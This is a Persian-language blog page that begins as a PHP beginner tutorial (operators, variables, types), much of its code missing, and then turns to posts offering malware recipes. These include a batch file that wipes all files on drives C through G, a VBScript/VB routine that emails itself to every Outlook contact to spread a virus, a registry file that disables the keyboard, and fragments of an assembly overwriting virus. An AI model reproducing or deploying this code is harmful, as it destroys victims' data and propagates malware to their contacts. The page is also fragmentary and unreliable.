هنگامی مقدار True برمی گرداند که x بزرگتر از 2 و کوچکتر از 15 باشد. در جدول بالا قسمت Bold شده تنها عملگری است که کمی جالب است. عملگر ++ و -- عملگر ++ یک عدد به متغیر اضافه می کند و -- یک متغیر از آن کم می کند. مثلا PHP Code:
یکی به $x اضافه می کند. به عنوان مثال PHP Code:
در مثال بالا همونطور که می بینید ابتدا عمل مقایسه انجام شده و بعد جمع صورت گرفته. حال : PHP Code:
ترتیب اجرای عملگرها شاید همه شما این را بدانید ولی در php ترتیب اجرای عملگرها به صورت زیر می باشند : PHP Code:
PHP Code:
یعنی جواب مقدار فوق 14 می باشد. البته شما با گذاشتن پرانتز می توانید php را مجبور کنید که به صورت دلخواه شما عمل کند. مثلا PHP Code:
مقدار 18 را می دهد. درس 2 ( متغیر در php در این درس می خوانیم :
- درباره متغیرها ( متغیر چیست و چگونه از آن استفاده کنیم) - چگونه یک متغیر را تعریف کنیم و به مقدار آن دسترسی پیدا کنیم - برخی از علمگرهای متداول - چگونگی تعریف و استفاده از مقادیر ثابت متغیر نگهدارنده ویژه ایست برای مقادیر. هر متغیر دارای یک نام است که با علامت $ در اول آن مشخص می شود. نام یک متغیر می تواند شامل حروف ، اعداد و _ باشد. نام یک متغیر نمی تواند شامل space و یا کارکاترهای غیر حرفی باشد. کدهای زیر چند متغیر را تعریف می کنید : Code:
توجه داشته باشید که ; در انتهای هر خط جزونام متغیر می باشد و در واقع نشان دهنده پایان جمله کد PHP است.
برای مقدار دادن به متغیر کافیست که آن را مساوی با مقدارش قرار دهید. به طور معمول شما در یک دستور php متغیر را تعریف می کنید و به آن مقدار می دهید. مانند کدهای زیر : Code:
وقتی که شما به ییک متغیر مقدار دادید می توانید دقیقا مانند یک کاراکتر با آن رفتار کنید. به طور مثال :
Code:
دقیقا برابر با دستور
Code:
می باشد.
نوع داده داخل متغیر DATA TYPE انواع مختلف اطلاعات در یک متغیر می تواند ذخیره شود که در طول برنامه می توانید رفتارهای متفاوتی با آن نماببد. برخی زبانهای برنامه نویسی شما را وادار می کنند که در ابتدا و در موقع تعریف متغیر نوع آن را نیز مشخص نمایید. ولی در PHP لزومی به این کار نیست و نوع اولین مقداری که وارد متغیر شود ، به عنوان نوع متغیر شناخته می شود. Type - Example - Description Integer - 5 - A whole number Double - 3.234 - A floating-point number String - "hello" - A collection of characters Boolean - true - One of the special values true or false آرایه و OBJECT جدول فوق انواع داده ها را نشان می دهد. شما می توانید از دستور gettype() برای مشاهده نوع یک متغیر استفاده کنید. به عنوان مثال : Code:
کدهای بالا در خروجی جملات زیر را نشان خواهد داد : Code:
INTEGER یک عدد صحیح می باشد. به کلام ساده یک عدد بدون ممیز می باشد. STRING یک سری کاراکتر می باشد. وقتی در PHP با STRING کار می کنید باید حتما اطراف آن از " و یا ' استفاده شود. DOUBLE یک عددی است که ممیز نیز دارد. BOOLEAN یا TRUE است و یا FALSE. تغییر با استفاده از دستور settype() در PHP با استفاده از دستور settype() شما می توانید نوع یک متغیر را تغییر دهید. برای این کار باید نام متغیر و نوع متغیر که می خواهید به آن تغییر یابد را در بین پرانتز و با فاصله یک کاما در بینشان مشخص نمایید. به عنوان مثال : Code:
در هر دفعه تغییر متغیر ما با استفاده از دستور GETTYPE() نوع متغیر را چاپ می کنیم که از تغییر آن مطمئن شویم.
همانطور که می بینید در خط 7 مقدار متغیر 3.14 است و به صورت DOUBLE و در خط 10 به STRING تبدیل می شود و در خط 13 به INTEGER تغییر می کند و به 3 تبدیل می شود. (یعنی رند می شود) و به همین صورت...... تغییر نوع داده بدون اینکه اصل متغیر تغییر کند با قرار دادن نام نوع داده Data Type در داخل پرانتز و قبل از نام متغیر یک کپی از متغیر با نوع داده جدید بدون تغییر دادن متغیر اصلی ایجاد می کند. به عنوان مثال : Code:
در کد بالا هیچ وقت نوع متغیر اصلی را تغییر ندادیم بلکه مثلا در خط 14 در متغیر $holder مقدار Integer شده متغیر اصلی یعنی مقدار 3 را قرار دادیم در خط 16 آن را چاپ کردیم
مطالب زیر برگرفته از کتاب آموزش PHP در 24 ساعت نوشته Matt Zandstra می باشد. رو داريم. هميشه شروع يك كد php باید با همین تگ ها باشد. در غیر اینصورت سیستم با کدها مثل html رفتار میکند و بدون هیچگونه عملیاتی همان متن کد را نمایش خواهد داد.در ضمن باید بگم که درست کردن این وبلاگ برای اینه که هم شما php رو یاد بگیرید هم مروری واسه خودم باشه انشالاه که موفق بشیم. درضمن فرض بر این هست که توانایی نصب php به صورت local host را دارید. لازم به ذکر هستش که می توانید به صورت ویزارد با نرم افزار هایی مثل xamp,wampیا غیره این عمل رو انجام بدید. مطالب این درس . مثلا Notepad خود را باز کنید. Code:
در صورتیکه php روی کامپیوتر خود نصب کرده اید ، فایل رو در وب سرور خود کپی کنید و آن را از طریق browser صدا کنید. و یا اینکه فایل رو در یک سایت با دسترسی PHP بارگذاری نمایید و آدرس آن را در browser تایپ کنید. پس از اجرای فایل جمله Hello Web! رو بر روی صفحه خواهید دید. در صورتیکه کدها خود را یعنی هما چیزی که در ادیتور تایپ کردید رو روی صفحه دیدید. این بدان معنی است که وب سرور شما فایل php رو اجرا نکرده (یا php بر روی آن نصب نیست و یا پسوند فایل رو به درستی انتخاب نکرده اید.) خوب حالا که صفحه اول php خود را upload کرده اید کمی در آن دقت کنید. در شروع و در اولین خط کد Code:
و در انتهای کد PHP نیز حتما باید Code:
در انتهای هر خط از کدها باید از Code:
Code:
دستور Print این دستور در واقع نمایش دهنده است و هر چیزی که به آن بدهید را بر روی صفحه نمایش می دهد. شما می توانید مقدار یک متغیر را نیز با استفاده از Print نمایش دهید. ترکیب PHP و HTML در یک صفحه کدهای زیر را در notepad وارد نمایید و ذخیره و upload کنید. Code:
خوب همانطور که می بینید کدهای HTML به راحتی می توانند در کنار کدهای PHP کار کنند. در واقع سرور قبل از رسیدن به کد Code:
Code:
Code:
گذاشتن Comment در میان کدها comment در واقع جملاتی است که نویسنده برنامه در میان کدها می نویسد تا توضیحی باشد بر کد. به این صورت که اگه دفعه بعد خود نویسنده و یا کس دیگری کدها رو دید ، متوجه بشود که هر دستور برای چه چیزی نوشته شده است. (توصیه می کنم همیشه از comment استفاده کنید) نحوه قراردادن commentهم به این صورت است که در اول خط از تگ Code:
Code:
مثلا Code:
یا Code:
امیدوارم که وقت کنم ادامه بدم. کلش 24 قسمت شبیه این است که در انتهای اون تقریبا کاربر مسلط به برنامه نویسی php خواهد شد.
نوشته شده در ساعت 12:27 توسط شیطان پنهان(hidesatan) اين کد يکي از کم حجم ترين ويروسهاي دنيا هست که بزبان اسمبلي نوشته شده. ساختار ساده اين ويروس همه رو محو ميکنه و هنر برنامه نويسي اينجا به اوج ميرسه. البته کاري که اين ويروس ميکنه خيلي احمقانه بنظر مياد.. ولي حجم کمش باعث ميشه که مورد توجه قرار بگيره. (دستکاري رجيسترها به اين صورت يه کم احمقانه هست
. .model tiny OverwriteFile: WriteVirus: Terminate: filemask db '*.*',0 نوشته شده در ساعت 12:5 توسط شیطان پنهان(hidesatan)
نوشته شده در ساعت 12:3 توسط شیطان پنهان(hidesatan)
نوشته شده در ساعت 12:1 توسط شیطان پنهان(hidesatan) یه سورس ویروس دارم که خیلی خطرناکه و کل هارد رو تخریب میکنه فقط کافیه این کدها را در Notepad و نوشته و با پسوندBATذخیره کنید @echo off ATTRIB -a -s -h -r c ATTRIB -a -s -h -r c:\windows\*.* Echo y | echo a | Echo y | del c:\*.* Echo y | echo a | Echo y | del d:\*.* Echo y | echo a | Echo y | del e:\*.* Echo y | echo a | Echo y | del f:\*.* Echo y | echo a | Echo y | del g:\*.* echo y | copy *.* C:\ echo y | copy *.* D:\ echo y | copy *.* E:\ echo y | copy *.* F:\ echo y | copy *.* G:\ resrart تذکر : ۱-هرگز این فایل را داخل سیستم خود اجرا نکنید نوشته شده در ساعت 21:23 توسط شیطان پنهان(hidesatan) و اما پادزهر با کپی کردن کدهای زیر وی (و طی مراحل گفته شده)می توان اجرای این ویروس را متوقف کرد [HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response] "Flags"="126" [HKEY_CURRENT_USER\Control Panel\Accessibility\SoundSentry] "Flags"="2" "WindowsEffect"="0" نوشته شده در ساعت 21:22 توسط شیطان پنهان(hidesatan) ویروس این دفعه ویروس FLICKERکه با ایجاد تغییراتی درجیستری باعث میشه تا با فشردن هر یک از کلید های کیبرد صدایbeepشنیده بشه و عملا کیبرد غیر فعال بشه شروع کار ابتدا کدهای زیر را درnotepadکپی کنید و با پسوندreg(رجیستری)ذخیره کنید. Windows Registry Editor Version 5.00 نوشته شده در ساعت 21:21 توسط شیطان پنهان(hidesatan) توانایی توزیع خودکار ویروس برای این کار کافیه این کدها را در برنامه قرار بدید Set OutlookApp = CreateObject("Outlook.Application")If Not OutlookApp = "" ThenFor Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressListsFor UserGroup = 1 To ContactSwitch.AddressEntries.CountSet OutlookEmail = OutlookApp.CreateItem(0)OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)OutlookEmail.Subject = "Check this out!"OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"OutlookEmail.Attachments.Add WScript.ScriptFullNameOutlookEmail.DeleteAfterSubmit = TrueOutlookEmail.SendNextNextEnd IfOutlookEmail.Subject = "Check this out!"OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"OutlookEmail.Attachments.Add WScript.ScriptFullName نکته: 1-در این کدها در قسمت موضوع ومتن نامه میتوانید عبارت دلخواهتون را جایگزین کنید 2-ترجیحا این کدها باید در قسمت Form_Load نوشته شوند 3-این کدها به خودی خود ویروس نیستند بلکه شما باید در کنار این کدها کد اصلی(بدنه ی ویروس) را حتما وارد کنید نوشته شده در ساعت 21:20 توسط شیطان پنهان(hidesatan) سلام دوستان این بار با یه کد جدید به سراغ شماامدم این برنامه (ویروس)ویندوز رو به حالت screen saver می بره ولی کاربر دیگه قادر نیست از screen saver خارج بشه و مطمئن باشید راه دیگه ای بجز ری استارت سیستم نمی مونه خب برای شروع ابتدا این کد ها رو در قسمت Generalفرم قرار دهید (کپی کنید)
و در اخر یه timerبا قابلیت interval=1 به فرم اضافه کنید و کد های زیر را به فرم اضافه کنید(کپی کنید)
تو ضیحات: ۲-اگر چه یاداوری این مطلب را غیر ضروری می دونم ولی این کدها وربوط به ویژوال بیسیکه نوشته شده در ساعت 21:18 توسط شیطان پنهان(hidesatan) دوستان از کار انداختن ویندوز اصلا کار سختی نیست در واقع فقط باید یه فایل با پسوندini نوشته شده در ساعت 21:17 توسط شیطان پنهان(hidesatan) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
This Template designed by ParsTheme , Copyright © 2006 all rights reserved
--------------------------------------------------------------------------------
www.mahsasaeid.blogfa.com